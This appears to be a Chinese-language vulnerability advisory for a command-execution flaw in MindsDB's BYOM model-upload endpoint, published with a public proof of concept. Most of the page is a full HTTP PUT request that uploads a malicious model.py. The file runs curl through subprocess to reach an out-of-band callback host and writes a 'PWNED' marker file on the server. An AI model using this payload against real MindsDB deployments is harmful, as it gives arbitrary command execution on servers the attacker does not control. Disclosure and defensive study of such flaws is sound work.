MindsDB /api/handlers/byom/xxxx 命令执行漏洞

2026-02-06 MindsDB PoC Public

Description

MindsDB 系统的 /api/handlers/byom/{name} 接口存在命令执行漏洞。该接口在处理 BYOM(Bring Your Own Model)模型上传请求时,未对上传的自定义模型代码进行有效的安全校验与隔离,攻击者可通过构造恶意 Python 模型文件,在模型加载或执行过程中触发系统命令执行,从而在服务器上执行任意命令。

PoC

PUT /api/handlers/byom/11 HTTP/1.1
Host: 
Content-Type: multipart/form-data; boundary=782c58970e7e4529af8949392e92618c
Content-Length: 714
User-Agent: python-requests/2.x.x
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

--782c58970e7e4529af8949392e92618c
Content-Disposition: form-data; name="code"; filename="model.py"
Content-Type: text/plain

import os, subprocess
result = subprocess.run(['curl  .requestrepo.com'], capture_output=True, text=True)
open('/tmp/pwned.txt', 'w').write('PWNED: ' + result.stdout)

class MyModel:
    def train(self, df, target, args=None): return self
    def predict(self, df, args=None): return df

--782c58970e7e4529af8949392e92618c
Content-Disposition: form-data; name="modules"; filename="requirements.txt"
Content-Type: text/plain

pandas

--782c58970e7e4529af8949392e92618c
Content-Disposition: form-data; name="type"

inhouse
--782c58970e7e4529af8949392e92618c--

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities